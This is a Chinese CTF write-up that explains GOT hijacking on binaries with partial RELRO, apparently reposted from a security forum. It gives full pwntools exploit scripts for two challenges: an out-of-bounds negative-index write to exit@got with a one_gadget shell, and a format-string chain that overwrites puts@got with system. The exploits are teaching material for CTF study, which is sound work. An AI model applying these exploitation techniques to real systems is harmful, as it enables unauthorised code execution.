GOT劫持总结
2023-11-29 21:14:5 Author: xz.aliyun.com(查看原文) 阅读量:6 收藏

其实修改got表大部分情况下都是作为解题过程的一环节,这里我简单总结这类题目的做法

GOT劫持原理

.got.plt 相当于.plt的GOT全局偏移表,它存放的就是外部函数的入口地址。也就是说,如果我们将这个函数的地址改成另外一个函数的地址,当程序调用该函数时,实际上会调用到另外一个函数。

数组越界劫持GOT表

HGAME 2023 week1 choose_the_seat

检查一下保护


RELRO:Partial RELRO-->got表可修改
ida


运行程序

可以看到输入负数也可以,确定有数组越界

可以看到.got.plt表离bss段的距离比较近,所以考虑用数组越界写来改变.got.plt表

seat的地址为0x4040A0
exit的.got.plt表的地址为0x404040
exit在seat的低地址处,正好用负数来覆写
两者之差为96,96/16=6,所以用-6可以改变exit
把exit改成_start后可以实现程序的无限循环
同时我们可以知道exit与read地址相差16
read函数的后三位为fc0,后三位是不会变的
所以写入\xc0不改变read的地址
然后就可以接收到read的真实地址
one_gadget libc-2.31.so
收到后用one_gadget搜索一下可用的shell
然后写入-6把退出变成执行og就行了

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

#context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

#p=remote('node5.anna.nssctf.cn',28573)
p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

start=elf.sym["_start"]
ru('one.\n')
sl('-6')
ru("name\n")
s(p64(start))
#duan()
ru('one.\n')
sl('-7')
ru("name\n")
s('\xc0')
r(13)

read_addr=u64(r(6).ljust(8,b'\x00'))
libc_base=read_addr-libc.symbols['read']
leak('libc_base ',libc_base)

ogs=[0xe3afe,0xe3b01,0xe3b04]
og=libc_base+ogs[1]
ru('one.\n')
sl('-6')
ru("name\n")
s(p64(og))
itr()

非栈上格式化字符串劫持GOT表

青少年ctf login


这里也是可以修改got表
ida


msg可以控制,所以可以直接修改got表去做这个题
思路
首先输入两个相同的数据去进入
read(0, msg, 0x10uLL);
然后就利用无线循环的格式化字符串去泄露地址
这里我们去利用这个修改这个地址为puts的got表的地址


然后先改个地址,把这个位置写上去

sla('start','%'+str(addr1)+'c%15$hn')


然后我们去找下面这个偏移,去修改成got表

sla('start','%'+str(0x4020)+'c%43$hn')


然后就是先修改2个字节,再错位改一下got表地址

sla('start','%'+str(system1)+'c%18$hn')
sla('start','%'+str(0x4022)+'c%43$hn')


然后再改一字节,就成功改完了

sla('start','%'+str(system2)+'c%18$hhn')


然后这个题目就解出来了
exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc.so.6')

def duan():
    gdb.attach(p)
    pause()

ru('username:\n')
sl(p64(0x404020))
ru('password:\n')
sl(p64(0x404020))
sl('/bin/sh\x00')

ru('start')
sl('%15$p-%13$p')

ret=int(r(14),16)-0xc8
leak('ret ',ret)
ru('-')

libc_base=int(r(14),16)-0x24083
leak('libc_base ',libc_base)
system = libc_base + libc.sym['system'] 
system1 = system&0xffff
system2 = (system>>16)&0xff


addr1=ret&0xffff
leak('addr1 ',addr1)
leak('system ',system)
sla('start','%'+str(addr1)+'c%15$hn')
sla('start','%'+str(0x4020)+'c%43$hn')
sla('start','%'+str(system1)+'c%18$hn')
sla('start','%'+str(0x4022)+'c%43$hn')
#duan()
sla('start','%'+str(system2)+'c%18$hhn')
sla('start','exit')

itr()

总结

劫持GOT表不是一种独立的方法,要配合其他的漏洞进行利用,这里我配合着例题对这种利用方式进行了详细的解析,希望能够帮到正在入门的师傅们


文章来源: https://xz.aliyun.com/t/13138
如有侵权请联系:admin#unsafe.sh